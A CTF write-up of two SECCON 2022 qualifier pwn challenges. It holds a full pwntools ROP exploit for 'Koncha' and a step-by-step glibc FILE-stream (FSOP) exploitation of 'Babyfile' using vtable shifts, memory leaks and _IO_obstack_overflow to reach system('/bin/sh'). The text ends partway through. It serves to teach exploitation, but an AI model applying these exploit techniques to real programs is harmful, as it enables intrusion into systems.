SECCON CTF QUALYS 2022 : pwn challenges.
A few weeks ago, I had some time, and lucky me, SECCON CTF was online, so I had the time to register and play with some challenges. I was only able to solve 2 challenges, but I was still happy since one of them, was really fun. It involved FSOP and allowed me to learn new techniques to exploit binaries and leak pointers. Without any more introduction, let’s dig in.
Koncha
This challenge was a straightforward warm-up binary, so I will not spend much time explaining it (There’s a lot of BOF examples on this blog, and you can always visit ROPemporium and learn how to ROP). Also, a source code was provided so we can investigate it, to begin with.
You can find all the files and solutions for this post HERE.
#include <stdio.h>
#include <unistd.h>
int main() {
char name[0x30], country[0x20];
/* Ask name (accept whitespace) */
puts("Hello! What is your name?");
scanf("%[^\n]s", name);
printf("Nice to meet you, %s!\n", name);
/* Ask country */
puts("Which country do you live in?");
scanf("%s", country);
printf("Wow, %s is such a nice country!\n", country);
/* Painful goodbye */
puts("It was nice meeting you. Goodbye!");
return 0;
}
__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
alarm(180);
}
The following line of code will allow us to leak memory.
scanf("%[^\n]s", name);
This is because the regular expression will look until a new line, and if we send a new line, the function will print whatever is on that buffer address. The second scanf is a BOF (the first one can also be overflowed)
scanf("%s", country);
From there, we can perform a basic ROP to pwn the binary. The exploit code for the challenge is below.
#!/usr/bin/python3
from pwn import *
gs = '''
continue
'''
elf = context.binary = ELF('./chall')
context.terminal = ['tmux', 'splitw', '-hp', '70']
libc = elf.libc
def start():
if args.GDB:
return gdb.debug('./chall', gdbscript=gs)
if args.REMOTE:
return remote('koncha.seccon.games', 9001)
else:
return process('./chall')
r = start()
#========= exploit here ===================
payload = b"\n"
r.sendlineafter(b"Hello! What is your name?", payload)
r.recvuntil(b"Nice to meet you, ")
leak = u64(r.recvline().strip()[:6].ljust(8,b"\x00"))
log.info(f"leak = {hex(leak)}")
libc.address = leak - 0x1f12e8
log.info(f"libc = {hex(libc.address)}")
evil = b"B"*0x58
evil += p64(libc.address+0x0000000000022679) #pop rdi
evil += p64(libc.address+0x0000000000023b6a) #ret (ubuntu)
evil += p64(next(libc.search(b"/bin/sh")))
evil += p64(libc.sym.system)
r.sendlineafter(b"Which country do you live in?", evil)
#========= interactive ====================
r.interactive()
Babyfile
I really love this challenge. It uses one of my favorite exploitation techniques that I have learned so far. That’s why I wanted to showcase this exploit in case it is helpful to someone learning about File Streams. You can find all the relevant files for the challenge HERE..
Let’s start by analyzing the source code provided to understand the binary functionality.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);
#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)
int main(void){
FILE *fp;
alarm(60);
write_str("Play with FILE structure\n");
if(!(fp = fopen("/dev/null", "r"))){
write_str("Open error");
return -1;
}
fp->_wide_data = NULL;
for(;;){
switch(menu()){
case 0:
goto END;
case 1:
fflush(fp);
break;
case 2:
{
unsigned char ofs;
write_str("offset: ");
if((ofs = getint()) & 0x80)
ofs |= 0x40;
write_str("value: ");
((char*)fp)[ofs] = getint();
}
break;
}
write_str("Done.\n");
}
END:
write_str("Bye!");
_exit(0);
}
static int menu(void){
write_str("\nMENU\n"
"1. Flush\n"
"2. Trick\n"
"0. Exit\n"
"> ");
return getint();
}
static int getnline(char *buf, int size){
int len;
if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
return -1;
if(buf[len-1]=='\n')
len--;
buf[len] = '\0';
return len;
}
static int getint(void){
char buf[0x10] = {};
getnline(buf, sizeof(buf));
return atoi(buf);
}
First, we will analyze some critical portions of code that will allow us to exploit the binary and become familiar with its functionality. We can observe that a write_str() function is created that takes an argument s, a buffer that will write to stdout using the write() standard function.
#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)
This will become important since we know in advance that the binary, during execution, will not call puts() or printf(), and we will not be able to use the xsputsn() technique or other similar.
Investigating the main() function, we encounter a file stream fp created.
FILE *fp;
alarm(60);
write_str("Play with FILE structure\n");
if(!(fp = fopen("/dev/null", "r"))){
write_str("Open error");
return -1;
}
The fp is a pointer to the file stream just opened. This will create the file stream without writing any actual data. Later we can find a switch/case statement running on an infinite loop that leads us to two options: Number 1 will execute the fflush() function, and Number 2 will execute some interesting code.
for(;;){
switch(menu()){
case 0:
goto END;
case 1:
fflush(fp);
break;
case 2:
{
unsigned char ofs;
write_str("offset: ");
if((ofs = getint()) & 0x80)
ofs |= 0x40;
write_str("value: ");
((char*)fp)[ofs] = getint();
}
break;
}
write_str("Done.\n");
}
As we can see from the code listing above, when choosing option 2, the program will create a char variable ofs, then prints to stdout “offset: “ and then reads an integer value from the input using the getint() function defined at the top of the source code, and assigned that value to the ofs variable.
case 2:
{
unsigned char ofs;
write_str("offset: ");
if((ofs = getint()) & 0x80)
This integer will then be filtered if the integer passes the check for & 0x80. If this value does not pass, this check will be increased by 0x40. After this, the flow execution continues. The string “value: “ will be printed and again will read an integer from the user input with the getint() function
write_str("value: ");
((char*)fp)[ofs] = getint();
This value will then be written to the offset defined in the ofs variable.
Taking all of the above into consideration… How are we going to get a shell from this binary? Well, As the name suggests, we should use FSOP or File Stram Oriented Programming. This technique is meant to control the flow of execution by exploiting the different calls within the Glibc source code that perform file operations. So we can write an integer to any offset of the fp File stream. As we will see, these functions are usually “mapped” in Virtual tables, or vtables, that are called to execute the different functions. If we alter these pointers, we can hijack the flow of execution.
Let’s try to achieve this, if you are unfamiliar with FSOP, you can read more about it in this amazing post to get more confident with the concepts. Then we can follow along with this post using the following script with some helper functions that will allow us to interact with the binary.
#!/usr/bin/python3
from pwn import *
#break in fflush if needed to inspect the file stream
gs = '''
b fflush
continue
'''
elf = context.binary = ELF('./chall')
context.terminal = ['tmux', 'splitw', '-hp', '70']
def start():
if args.GDB:
return gdb.debug('./chall', gdbscript=gs)
if args.REMOTE:
return remote('127.0.0.1', 5555)
else:
return process('./chall')
r = start()
def flush():
r.sendline(b"1")
def trick(offset, value):
r.sendline(b"2")
r.sendlineafter(b"offset:", str(offset).encode())
r.sendafter(b"value:", str(value).encode())
r.recvuntil(b">")
def write_addr(offset, addr):
addr = p64(addr)
for i in range(8):
trick(offset+i, addr[i])
def exit_bin():
r.sendline(b"0")
#========= exploit here ===================
#========= interactive ====================
r.interactive()
There are several options to browse the Glibc source code. You can download it from their official repo, you can browse it online or you can clone the repository locally, as I did in this post from this repo.
The fp FileSream is defined in Glibc on the struct _IO_FILE as follow.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
Since we can write values to each member of the struct, let’s write some offsets to our script so we don’t have to remember them on our exploit later. There’s also a FileStructure class in pwntools, but I decided not to use it here to be clearer.
_flags =0x0
_IO_read_ptr = 8
_IO_read_end = 0x10
_IO_read_base = 0x18
_IO_write_base = 0x20
_IO_write_ptr = 0x28
_IO_write_end = 0x30
_IO_buf_base = 0x38
_IO_buf_end = 0x40
_IO_save_base = 0x48
_IO_backup_base = 0x50
_IO_save_end = 0x58
_markers = 0x60
_chain = 0x68
_fileno = 0x70
_mode=0xc0
_vtable = 0xd8
We can write to these offsets using the program functionality on the trick function, but what functions can we call? Let’s begin by analyzing the ones within the binary. We know that we have to flush the FileStream to perform FSOP, so let’s examine the fflush called with the 1 option. This function is declared in Glibc as _IO_fflush
Ok, back to the analysis, let’s check the _IO_fflush function defined below.
#include "libioP.h"
#include <stdio.h>
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else-
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
Let’s execute our script with a breakpoint on the fflush function and examine the file stream. As we can observe above, _IO_SYNC is being called, and it will be within the vtable pointer of the File Stream used by the program. Execute from the command line with the NOASLR argument if you don’t want to deal with PIE, and check the heap address of the Filestream every time. It is also important to mention that the FileStram is created on the heap. This will become relevant later.
With the following gdb command, we can verify the FileStream as shown below. Make sure to use the heap address that the FileSTream will use. For this post, I will disable ASLR while debugging, and I recommend to use it, at the beggining, since it will help to not be constantly checking the heap every time we want to inspect it. The command will print using p to print the representation of the struct *((struct _IO_FILE_plus *) sing the address on the heap, in this case 0x55555555a2a0
pwndbg> p *((struct _IO_FILE_plus *)0x55555555a2a0)
$1 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fef5c0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x55555555a380,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7feb4a0 <_IO_file_jumps>
}
And with the following command, we can check how the vtable is mapped.
p *((struct _IO_FILE_plus *)0x55555555a2a0).vtable
$1 = (const struct _IO_jump_t *) 0x7ffff7feb4a0 <_IO_file_jumps>
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7e91f50 <_IO_new_file_finish>,
__overflow = 0x7ffff7e92d80 <_IO_new_file_overflow>,
__underflow = 0x7ffff7e92a20 <_IO_new_file_underflow>,
__uflow = 0x7ffff7e93f50 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e95680 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7e915d0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7e91240 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e90860 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7e94600 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e90530 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e903c0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7e83c70 <__GI__IO_file_doallocate>,
__read = 0x7ffff7e915a0 <__GI__IO_file_read>,
__write = 0x7ffff7e90e60 <_IO_new_file_write>,
__seek = 0x7ffff7e90600 <__GI__IO_file_seek>,
__close = 0x7ffff7e90520 <__GI__IO_file_close>,
__stat = 0x7ffff7e90e40 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e95810 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e95820 <_IO_default_imbue>
Since the protection in Glibc 2.24 and on will not allow us to set the vtable to system and then flush the buffer to trigger exploitation since we need to call a pointer within the start_libc_IO_vtables stop_libc_IO_vtables and we can only modify the vtable pointer within this region. The code responsible for this check in Glibc is below:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
We can check the range in gdb issuing the following:
pwndbg> p __start___libc_IO_vtables $5 = 0x7ffff7fea8a0 <_IO_helper_jumps> "" pwndbg> p __stop___libc_IO_vtables $6 = 0x7ffff7feb608 ""
This means we can change the vtable pointer to point the table into the same “region” or area. This will be the first part of our exploit: Populate the file stream (currently with NULL addresses) with pointers or any information that can help us to get a leak.
First, we need to get a leak before trying any exploitation. I found out that the function do_allocate allows us to populate 2 heap addresses on the FILE stream: _IO_buf_base and _IO_buf_end. We can call one of the functions at the region between stop_libc_IO_vtables and start_libc_IO_vtables.
Let’s inspect the __doallocate which is represented as _IO_file_doallocate in filedoalloc.c
_IO_file_doallocate (FILE *fp)
{
size_t size;
char *p;
struct __stat64_t64 st;
size = BUFSIZ;
if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
{
if (S_ISCHR (st.st_mode))
{
/* Possibly a tty. */
if (
#ifdef DEV_TTY_P
DEV_TTY_P (&st) ||
#endif
local_isatty (fp->_fileno))
fp->_flags |= _IO_LINE_BUF;
}
#if defined _STATBUF_ST_BLKSIZE
if (st.st_blksize > 0 && st.st_blksize < BUFSIZ)
size = st.st_blksize;
#endif
}
p = malloc (size);
if (__glibc_unlikely (p == NULL))
return EOF;
_IO_setb (fp, p, p + size, 1);
return 1;
}
At the end of the function, we can observe the following line of code calling the function _IO_setb:
_IO_setb (fp, p, p + size, 1);
If we observe the _IO_setb function, we will notice that the _IO_buf_base and _IO_buf_end members of the file stream will be set, so this can help us to propagate the FileSteram.
void
_IO_setb (FILE *f, char *b, char *eb, int a)
{
if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
free (f->_IO_buf_base);
f->_IO_buf_base = b;
f->_IO_buf_end = eb;
if (a)
f->_flags &= ~_IO_USER_BUF;
else
f->_flags |= _IO_USER_BUF;
}
The above looks promising, but how can we call _IO_file_doallocate? The answer is by changing the pointer on _IO_SYNC_ to point to _IO_file_doallocate This is possible because we know that _IO_SYNC_ will be called from the __sync vtable pointer when the result assigned in a value in fflush. We can achieve that by changing the last byte of the vtable ptr to 8 bytes more, in the case of this Glibc version 0xa8, as shown below.
trick(_vtable, 0xa8) #changing the v table pointer
flush()
Adding 0x8 or changing the last byte of the pointer from 0xa0 to 0xa8, as the binary allows us, will “shift” the vtable by 8, and instead of _IO_SYNC_, _IO_file_doallocate will be executed when fflush executes. To illustrate this, let’s keep the breakpoint on fflush and execute the binary again with the code above added to the script, and let’s inspect the vtable area.
pwndbg> p ((struct _IO_FILE_plus *)0x55555555a2a0).vtable
$1 = (const struct _IO_jump_t *) 0x7ffff7feb4a8 <_IO_file_jumps+8>
pwndbg> p *((struct _IO_FILE_plus *)0x55555555a2a0).vtable
$2 = {
(...)
__seekoff = 0x7ffff7e94600 <_IO_default_seekpos>,
__seekpos = 0x7ffff7e90530 <_IO_new_file_setbuf>,
__setbuf = 0x7ffff7e903c0 <_IO_new_file_sync>,
__sync = 0x7ffff7e83c70 <__GI__IO_file_doallocate>,
__doallocate = 0x7ffff7e915a0 <__GI__IO_file_read>,
(...)
Great! so now, when the fflush is executed, we should have populated the _IO_buf_base and _IO_buf_end members of the file stream.
pwndbg> p *((struct _IO_FILE_plus *)0x55555555a2a0)
$5 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x55555555a480 "",
_IO_buf_end = 0x55555555c480 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fef5c0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x55555555a380,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7feb4a8 <_IO_file_jumps+8>
}
pwndbg>
We only populate 2 fields, more is needed to leak, but this is progress. We will see why while exploring the _IO_SYNC function in Glibc that is represented as _IO_new_file_sync.
int
_IO_new_file_sync (FILE *fp)
{
ssize_t delta;
int retval = 0;
/* char* ptr = cur_ptr(); */
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_do_flush(fp)) return EOF;
delta = fp->_IO_read_ptr - fp->_IO_read_end;
if (delta != 0)
{
off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
if (new_pos != (off64_t) EOF)
fp->_IO_read_end = fp->_IO_read_ptr;
else if (errno == ESPIPE)
; /* Ignore error from unseekable devices. */
else
retval = EOF;
}
if (retval != EOF)
fp->_offset = _IO_pos_BAD;
/* FIXME: Cleanup - can this be shared? */
/* setg(base(), ptr, ptr); */
return retval;
}
We can observe that if the condition below is met, we will execute _IO_do_flush
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_do_flush(fp)) return EOF;
Investigating _IO_do_flush, we can see that more members of the FileStrean will be populated and copied using _IO_do_write and _IO_wdo_write.
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
None of these buffers have been populated within the FileStream, but eventually, new_do_write will be called and _IO_buf_base will be copied to more members, as shown below.
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
Let’s modify our python exploit to accomplish this. In this case, since both values were 0x0 we can change _IO_write_ptr to 1. Also, we need _IO_sync to be called, so we need to “restore” the vtable to point again so __sync is setup correctly.
trick(_vtable, 0xa0)
trick(_IO_write_ptr, 1)
flush()
After we execute the code above, we will populate the FileStream with more heap addresses, as shown below
pwndbg> p *((struct _IO_FILE_plus *)0x55555555a2a0)
$1 = {
file = {
_flags = -72538968,
_IO_read_ptr = 0x55555555a480 "",
_IO_read_end = 0x55555555a480 "",
_IO_read_base = 0x55555555a480 "",
_IO_write_base = 0x55555555a480 "",
_IO_write_ptr = 0x55555555a480 "",
_IO_write_end = 0x55555555c480 "",
_IO_buf_base = 0x55555555a480 "",
_IO_buf_end =0x55555555c480 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fef5c0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x55555555a380,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7feb4a0 <_IO_file_jumps>
}
pwndbg>
Please note that my ASLR default address changed while doing this post, so that’s why the address may change but not the offsets, so they will work regardless of ASLR or PIE
From examining the fflush function, we know that it will flash all the buffers to IO, so if we manage to control the file descriptor or the _fileno we can attack the FileStream to make it write to stdout. For that we need to:
- Set the _fileno member to 1 (stdout)
- Set the _IO_write_base and _IO_read_end members to the base address we will leak.
- Set the _IO_write_ptr at the end of the buffer we want to leak.
With this, we will write to stdout the number of bytes we need, but, What to leak? Well, let’s inspect the heap area around the pointers that we currently have in our Filestream.
pwndbg> dq 0x55555555a400 40
000055555555a400 0000000000000000 0000000000000000
000055555555a410 0000000000000000 0000000000000000
000055555555a420 0000000000000000 0000000000000000
000055555555a430 0000000000000000 0000000000000000
000055555555a440 0000000000000000 0000000000000000
000055555555a450 0000000000000000 0000000000000000
000055555555a460 0000000000000000 0000000000000000
000055555555a470 00007ffff7feaf60 0000000000002011
000055555555a480 0000000000000000 0000000000000000
000055555555a490 0000000000000000 0000000000000000
000055555555a4a0 0000000000000000 0000000000000000
000055555555a4b0 0000000000000000 0000000000000000
000055555555a4c0 0000000000000000 0000000000000000
000055555555a4d0 0000000000000000 0000000000000000
000055555555a4e0 0000000000000000 0000000000000000
000055555555a4f0 0000000000000000 0000000000000000
000055555555a500 0000000000000000 0000000000000000
000055555555a510 0000000000000000 0000000000000000
000055555555a520 0000000000000000 0000000000000000
000055555555a530 0000000000000000 0000000000000000
We can observe that at offset 0x70 from 0x55555555a400 we can find a libc address. Let’s try to write the address to stdout. For that, we need to set up the FileStream as below, using the python exploit script.
trick(_fileno, 1)
trick(_IO_write_ptr, 0x78)
trick(_IO_write_base, 0x70)
trick(_IO_read_end, 0x70)
flush()
After executing the code above, we will receive a Glibc leak! We can transform it to an int and then print it. Also we can now calculate the libc base address. Notice that when you leak the LSB pointer, it should be 0x60. The output will print an extra char at the beginning that’s why the leak looks “tricky” so we can use de “1-6” bytes
leak = u64(r.recvuntil(b"Done.").split(b"Done.")[0][1:8].ljust(8,b"\x00"))
log.info(f"leak = {hex(leak)}")
libc.address = leak - 0x1e8f60
log.info(f"libc = {hex(libc.address)}")
Here’s an example of the leak with ASLR enabled
[+] Starting local process './chall': pid 2580
./xpl.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.sendlineafter(b"value:", str(value))
[*] leak = 0x7fcdd505ef60
[*] libc = 0x7fcdd4e49000
[*] Switching to interactive mode
Great, now we need a heap leak (later, we will know why). We can use the same trick that we used before, with fflush, but we will need to write full pointers to the member, not only the LSB, so let’s use the write_addr helper functions to help us along the way. This function will write an 8-byte ptr to the member supplied (using the variables we declared before).
Let’s use the same trick, but we need a ptr to a heap address this time. We can use the main arena address, a pointer on Glibc that will hold a heap address, in my case I use the top chunk.
#getting a heap leak
trick(_fileno, 1)
#calculating topchunk address in the main arena
topchunk = libc.address + 0x1ecbe0
log.info(f"top_chunk = {hex(topchunk)}")
write_addr(_IO_write_ptr, topchunk+8)
write_addr(_IO_write_base, topchunk)
write_addr(_IO_read_end, topchunk)
sleep(1)
flush()
heap_leak = u64(r.recvuntil(b"Done.").split(b"Done.")[0][1:8].ljust(8, b"\x00"))
log.info(f"heap_leak = {(hex(heap_leak))}")
heap_base = heap_leak - 0x2480
log.info(f"Heap base = {hex(heap_base)}")
This will provide us with both libc and heap leaks as below after execution with ASLR enabled:
[+] Starting local process './chall': pid 3169
./xpl.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.sendlineafter(b"value:", str(value))
[*] leak = 0x7f952c29ff60
[*] libc = 0x7f952c08a000
[*] top_chunk = 0x7f952c2a3be0
[*] heap_leak = 0x5651897f3480
[*] Heap base = 0x5651897f1000
[*] Switching to interactive mode
Dropping a shell
To drop a shell on this binary, I spent a lot of time trying to figure out a way to achieve it, since most of the functions were not working because of the restrictions on the binary so after researching and chatting with some friends about it and reviewing some notes (thanks Max! My forever jedi-master on the heap.), then I came across the _IO_obstack_overflow, It was a technique I thought was new, but after reviewing some writeups from the ctf, I realized it was not
So let’s analyze the function found on obprintf.c in the Glibc source code.
static int
_IO_obstack_overflow (FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF);
obstack_1grow (obstack, c);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
return c;
}
The first thing we should take care of is the arguments being passed. One is our FileStream, which is excellent since we can control the member’s values of the file stream. But let’s check what the integer C passed to the function. For that, we need to first calculate the offset to write the vtable pointer to call the _IO_obstack_overflow function so we can set the breakpoint to investigate.
After some trial and error, I discovered that we need to write the last 4 bytes of the address to change the pointer, so we should use our leak. Since we know the libc address, we can set up the vtable by just writing the entire adaddress using the helper functions we need to “shift” the vtable to the address at offset 0x1e9218 from the base libc address. We can accomplish this with the code below:
shift_obstack_jumps = libc.address + 0x1e9218
log.info(f"shift_obstack_jumps = {hex(shift_obstack_jumps)}")
write_addr(_vtable, shift_obstack_jumps))
after that we can check how the __sync member is now pointinto to
pwndbg> p *((struct _IO_FILE_plus *)0x55555555a2a0).vtable
$2 = {
(...)
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x7ffff7e8e0c0 <_IO_obstack_overflow>,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x7ffff7e8e010 <_IO_obstack_xsputn>,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
Ok, so now let’s set a breakpoint on _IO_obstack_overflow, and lets flush the FileStream.
Checking the arguments above, we can see a value around 0x900 being passed as the second argument on RSI, and the first argument we can confirm is our Filestream on the heap on the RDI register.
Passing the assert statement right after the struct and variable declaration is essential. After that, we will have a call to the obstack_1grow function, this time using the c variable and the obstack struct, as shown below.
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
assert (c != EOF);
obstack_1grow (obstack, c);
To pass the above checks and reach obstack_1grow We need to pass the assert, we can bypass it, since the value of the second argument is not -1, but then there’s the question: how can we set the obstack struct? Well, we need a place where we can write it, and it also needs to be placed after the filestream.so we should place it at offset 0xe0 (I just choose a place right after). A second question needs to be answer now: what to write to it?. Well, we need a controlled area, and since we have a heap leak, we can point it to our fp at offset 0x2a0 from the heap base address. Since the first member of the struct needs to be a pointer to it, we can set up the same address. This should be the _flags field.
write_addr(0xe0, heap_base+0x2a0)
write_addr(_flags, heap_base+0x2a0)
The above code will ensure we can reach the obstack_1grow function and pass the obstack we control as the argument. This struct is located in obstack.h within the Glibc source, as shown below.
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};
The above struct and his offsets will be equivalent to the fp we can control. Let’s investigate The obstack_1grow function that is defined as follows in obprintf.c.
# define obstack_1grow(h, datum) \
((((h)->next_free + 1 > (h)->chunk_limit) \
? (_obstack_newchunk ((h), 1), 0) : 0), \
obstack_1grow_fast (h, datum))
We can observe that next_free and chunk_limit are members of the obstack struct, and if next_free + 1 is greater than chunk_limit, we will execute the _obstack_newchunk function. This is equivalent to _IO_read_base and _IO_write_base in the fp FileStream. At the moment of execution, these values are equal, so the check is passed, and we will be redirected to the _obstack_newchunk. Let’s explore this function. The _obstack_newchunk is a big function, but the relevant part for exploitation is below.
void
_obstack_newchunk (struct obstack *h, int length)
// code above (...)
if (!h->maybe_empty_object
&& (h->object_base
== __PTR_ALIGN ((char *) old_chunk, old_chunk->contents,
h->alignment_mask)))
{
new_chunk->prev = old_chunk->prev;
CALL_FREEFUN (h, old_chunk);
}
h->object_base = object_base;
//code below (...)
Wtithin the function above, there’s a call to CALL_FREEFUN where the controlled struct will be passed again as the argument. Let’s examine this function in obstack.c
# define CALL_FREEFUN(h, old_chunk) \
do { \
if ((h)->use_extra_arg) \
(*(h)->freefun)((h)->extra_arg, (old_chunk)); \
else \
(*(void (*)(void *))(h)->freefun)((old_chunk)); \
} while (0)
From the struct we control, if use_extra_arg equivalent to _IO_backup_base is greater than 0, then we finally will call freefun equivalent to _IO_buf_base, with extra_arg as an argument, which can be set on _IO_save_base, it’s a pointer, so it needs to be the address of “/bin/sh” within libc. We can achieve this with the following python code.
write_addr(_IO_backup_base, 0xdeadbeef) # needs to be greater than 0
